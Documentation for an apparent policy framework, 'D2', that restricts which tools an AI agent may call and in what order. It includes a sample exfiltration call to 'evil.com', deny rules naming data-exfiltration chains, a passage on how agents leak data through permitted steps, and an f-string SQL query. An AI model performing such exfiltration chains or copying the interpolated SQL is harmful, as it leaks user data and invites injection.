Policy Design

Policy Design Guide

D2 provides four layers of defense-in-depth security through declarative policies. All authorization logic is defined in policy files—not code—enabling centralized governance and instant updates.

Layer 1: RBAC

Who can call what. Foundation of authorization.

Layer 2: Input

Validate arguments before execution.

Layer 3: Sequences

Prevent multi-step attacks via temporal rules.

Layer 4: Output

Validate & sanitize after execution.

Layer 1: RBAC (Role-Based Access Control)

Control which roles can access which functions. This is the foundation of your authorization model.

Basic Example

Your Protected Functions

python
@d2_guard("database:read_users")
def read_users(limit: int):
    return db.query("SELECT * FROM users LIMIT ?", limit)

@d2_guard("database:delete_user")
def delete_user(user_id: str):
    db.execute("DELETE FROM users WHERE id = ?", user_id)

@d2_guard("analytics:generate_report")
def generate_report():
    return {"revenue": 50000, "users": 1200}

Policy File

yaml
roles:
  - role: viewer
    permissions:
      - database:read_users
      - analytics:generate_report
  
  - role: admin
    permissions:
      - "*"  # Wildcard: all tools
UserRoleCallResult
aliceviewerread_users(10)
✅ Allowed
aliceviewerdelete_user("u123")
❌ Denied
bobadmindelete_user("u123")
✅ Allowed

Unified Constraint Operators

Learn Once, Use Everywhere

D2 uses a unified set of operators for both input and output validation. The same constraints work in both contexts—learn one system, use it everywhere.

These operators are used for input validation and output validation to enforce constraints on data flowing through your protected functions.

Note: Output sanitization uses different directives (action: filter, action: redact, action: truncate) because it transforms data rather than validates it.

OperatorApplies ToExampleDescription
typeAll typestype: stringType enforcement (string, int, float, bool, list, dict)
requiredAll typesrequired: trueField must be present
min / maxNumbersmin: 1, max: 100Minimum/maximum value (inclusive)
minLength / maxLengthStringsmaxLength: 255Minimum/maximum string length
matchesStringsmatches: "^[a-z]+$"Regex pattern to match
not_matchesStringsnot_matches: "admin"Regex pattern to reject
in / not_inAll typesin: ["a", "b"]Allowed/disallowed values (enum)
contains / not_containsAll typesnot_contains: "DROP"Substring/element checks
max_bytesStringsmax_bytes: 1024Maximum size in bytes

Why This Matters

  • Consistency – Same mental model for inputs and outputs
  • Reusability – Copy constraints between contexts
  • Simplicity – One set of rules to learn, not two separate systems

Layer 2: Input Validation (First Guardrail)

Input validation enforces constraints on function arguments before the function executes. This is the first guardrail—validating data as it enters your protected functions.

Example: Limit Query Size

Your Protected Function

python
@d2_guard("database:read_users")
def read_users(limit: int, offset: int = 0):
    return db.query(
        f"SELECT * FROM users LIMIT {limit} OFFSET {offset}"
    )

Policy with Input Validation

yaml
roles:
  - role: analyst
    permissions:
      - tool: database:read_users
        conditions:
          input:
            limit:
              type: int
              min: 1
              max: 100      # Prevent large queries
              required: true
            offset:
              type: int
              min: 0
              max: 10000
CallResultReason
read_users(limit=50)
✅ Allowed
Within range (1-100)
read_users(limit=500)
❌ Denied
Exceeds maximum of 100
read_users()
❌ Denied
Required parameter 'limit' missing
read_users(limit="all")
❌ Denied
Wrong type (must be int)

Example: Regex Validation

Your Protected Function

python
@d2_guard("auth:create_user")
def create_user(username: str, email: str):
    return db.insert("users", {
        "username": username,
        "email": email
    })

Policy with Regex Validation

yaml
roles:
  - role: admin
    permissions:
      - tool: auth:create_user
        conditions:
          input:
            username:
              type: string
              minLength: 3
              maxLength: 20
              matches: "^[a-zA-Z0-9_]+$"
              not_matches: "admin|root|system"
            email:
              type: string
              matches: "^[a-zA-Z0-9._%+-]+@.+\\..+$"
CallResultReason
create_user("john_doe", "john@example.com")
✅ Allowed
Valid format
create_user("ab", "test@example.com")
❌ Denied
Username too short (min 3)
create_user("admin", "test@example.com")
❌ Denied
Reserved name blocked
create_user("john", "not-an-email")
❌ Denied
Invalid email format

Layer 3: Sequence Enforcement

Prevent multi-step attacks where individual steps are allowed but the sequence is dangerous. This is temporal authorization—controlling not just what can be called, but in what order.

!

The Problem: Data Exfiltration Chains

An AI agent might call database:read_users (allowed) followed by web:http_post (also allowed), resulting in sensitive data being sent to an external server—a clear security breach despite both actions being individually permitted.

Example: Prevent Direct Data Exfiltration

Your Protected Functions

python
@d2_guard("database:read_users")
def read_users():
    return [{"name": "Alice", "ssn": "123-45-6789"}]

@d2_guard("web:http_post")
def http_post(url: str, data: dict):
    requests.post(url, json=data)

Policy with Sequence Rules

yaml
roles:
  - role: analyst
    permissions:
      - database:read_users
      - web:http_post
    sequence:
      - deny: ["database:read_users", "web:http_post"]
        reason: "Direct exfiltration: Database → Web"
Call SequenceResultReason
read_users()
✅ Allowed
First call in sequence
http_post("api.example.com", data)
✅ Allowed
No database call before this
read_users() → http_post("evil.com", users)
❌ Denied
Matches forbidden pattern

Transitive Attacks (3-hop patterns)

Attackers may try to evade 2-hop rules by adding innocent intermediate steps. D2 supports arbitrary-length patterns.

Additional Protected Function

python
@d2_guard("analytics:summarize")
def summarize(data: list):
    return {"summary": str(data)}

Policy Blocking 3-Hop Pattern

yaml
roles:
  - role: analyst
    permissions:
      - database:read_users
      - analytics:summarize
      - web:http_post
    sequence:
      - deny: ["database:read_users", "web:http_post"]
      - deny: ["database:read_users", "analytics:summarize", "web:http_post"]
        reason: "Transitive exfiltration"
Call SequenceResultReason
read_users() → summarize(data)
✅ Allowed
No external call yet
read_users() → summarize() → http_post()
❌ Denied
Matches 3-hop exfiltration pattern
read_users() → other_tool() → http_post()
❌ Denied
Subsequence match (gaps allowed)
💡

Key Insight: Subsequence Matching

Sequence patterns are subsequences—gaps are allowed. Even if other tools are called in between, D2 will still match and block the pattern.

Layer 4: Output Validation & Sanitization (Second Guardrail)

After the function executes, D2 provides a second guardrail to validate and sanitize outputs beforereturning them to the caller. This ensures sensitive data doesn't leak even if the function was allowed to execute.

Output Sanitization

Transform function outputs to remove sensitive data. Sanitization never denies—it always allows execution with modified results.

Example: Remove PII from Database Query

Your Protected Function
python
@d2_guard("database:read_users")
def read_users():
    return [
        {"id": 1, "name": "Alice", 
         "email": "alice@company.com", 
         "ssn": "123-45-6789"},
        {"id": 2, "name": "Bob", 
         "email": "bob@company.com", 
         "ssn": "987-65-4321"}
    ]
Policy with Output Sanitization
yaml
roles:
  - role: analyst
    permissions:
      - tool: database:read_users
        conditions:
          output:
            ssn:
              action: filter    # Remove completely
            email:
              action: redact    # Replace with [REDACTED]
FieldOriginal ValueAfter Sanitization
id11
name"Alice""Alice"
email"alice@company.com""[REDACTED]"
ssn"123-45-6789"(field removed)

Sanitization Actions

filter

Remove field completely from output. Use for PII that should never be exposed.

yaml
ssn:
  action: filter
redact

Replace value with [REDACTED]. Supports pattern-based partial redaction.

yaml
card_number:
  action: redact
  matches: '\d{12}'  # Last 4 kept
truncate

Limit length of strings or arrays. Show only first N characters/items.

yaml
api_key:
  action: truncate
  maxLength: 20  # Show prefix only

Output Validation

Verify function outputs meet expectations. Denies the call if validation fails.

Key Difference

  • Output Sanitization = Transform and allow
  • Output Validation = Check and deny if invalid

Example: Ensure API Returns Valid Config

Your Protected Function
python
@d2_guard("api:get_config")
def get_config():
    return {
        "version": "1.2.3",
        "max_retries": 5
    }
Policy with Output Validation
yaml
roles:
  - role: service
    permissions:
      - tool: api:get_config
        conditions:
          output:
            version:
              type: string
              required: true
            max_retries:
              type: int
              min: 1
              max: 10    # Must be reasonable
Function Return ValueResultReason
{version: "1.2.3", max_retries: 5}
✅ Allowed
All constraints met
{version: "1.2.3", max_retries: 0}
❌ Denied
max_retries below minimum (1)
{version: "1.2.3", max_retries: 50}
❌ Denied
max_retries exceeds maximum (10)
{max_retries: 5}
❌ Denied
Required field 'version' missing

Tool Groups

Define abstract patterns by grouping related tools. Reference sets of tools with a single identifier instead of listing them individually in every rule.

The Problem

Without tool groups, blocking all combinations of database tools and external tools requires writing many rules. With groups, you can express complex patterns concisely.

yaml
metadata:
  tool_groups:
    sensitive_data:
      - database:read_users
      - database:read_orders
      - database:read_payments
      - files:read_customer_data
      # ... 100 tools
    
    external_io:
      - web:http_post
      - email:send
      - s3:upload
      - slack:post_message
      - webhook:trigger
      # ... 100 tools

roles:
  - role: analyst
    permissions:
      - "@sensitive_data"    # Grant all database tools
      - "@external_io"       # Grant all external tools
    sequence:
      - deny: ["@sensitive_data", "@external_io"]
        reason: "Prevent any sensitive data exfiltration"

Policy Validation

D2 validates policies at load time to catch typos and errors before they reach production. This prevents silent security bypasses.

Common Errors Caught

Operator Typos
yaml
# ❌ Invalid Policy
conditions:
  input:
    limit:
      minimum: 1      # TYPO: Should be 'min'
      maximum: 100    # TYPO: Should be 'max'

# Error at Load Time:
ConfigurationError: Unknown input validation operator(s): ['minimum', 'maximum']
Valid operators: type, required, min, max, minLength, maxLength, ...
Suggestion: Did you mean 'min' instead of 'minimum'?
Invalid Regex Patterns
yaml
# ❌ Invalid Policy
conditions:
  input:
    email:
      matches: "[unclosed("    # Malformed regex

# Error:
ConfigurationError: Invalid regex pattern for parameter 'email': 
unterminated character set at position 1

Why This Matters

Without validation: A typo in your policy might be silently ignored, leaving your system unprotected.

With validation: Policies fail to load with clear error messages, forcing you to fix issues before deployment.

Complete Policy Examples

Secure Customer Service Agent

Customer service bot can query orders but cannot exfiltrate data via email.

yaml
metadata:
  tool_groups:
    customer_data: [orders:search, orders:get_details]
    external: [email:send]

roles:
  - role: customer_service_agent
    permissions:
      # Allow reading orders
      - tool: orders:search
        conditions:
          input:
            limit:
              type: int
              max: 50    # Prevent large dumps
      
      - tool: orders:get_details
        conditions:
          output:
            payment:
              action: filter    # Remove payment info
      
      # Allow KB search
      - tool: knowledge:search
      
      # Allow sending emails (to customers only)
      - tool: email:send
        conditions:
          input:
            to:
              matches: "@customer\\.com$"    # Only to customers
    
    sequence:
      # Prevent data exfiltration via email
      - deny: ["@customer_data", "email:send"]
        reason: "Cannot email customer data outside workflow"

Data Analyst with Safe Analytics

Analyst can query database and generate reports, but cannot send raw data externally.

yaml
metadata:
  tool_groups:
    database_read: [db:query_users, db:query_transactions]
    internal_processing: [analytics:aggregate, reports:save]
    external_network: [web:http_post]

roles:
  - role: analyst
    permissions:
      - "@database_read"
      - "@internal_processing"
      - "@external_network"    # Allowed individually
    
    sequence:
      # Block raw database data → external network
      - deny: ["@database_read", "@external_network"]
        reason: "Cannot send raw database data to external endpoints"
      
      # Block database → analytics → external network (laundering)
      - deny: ["@database_read", "analytics:aggregate", "@external_network"]
        reason: "Cannot exfiltrate aggregated data"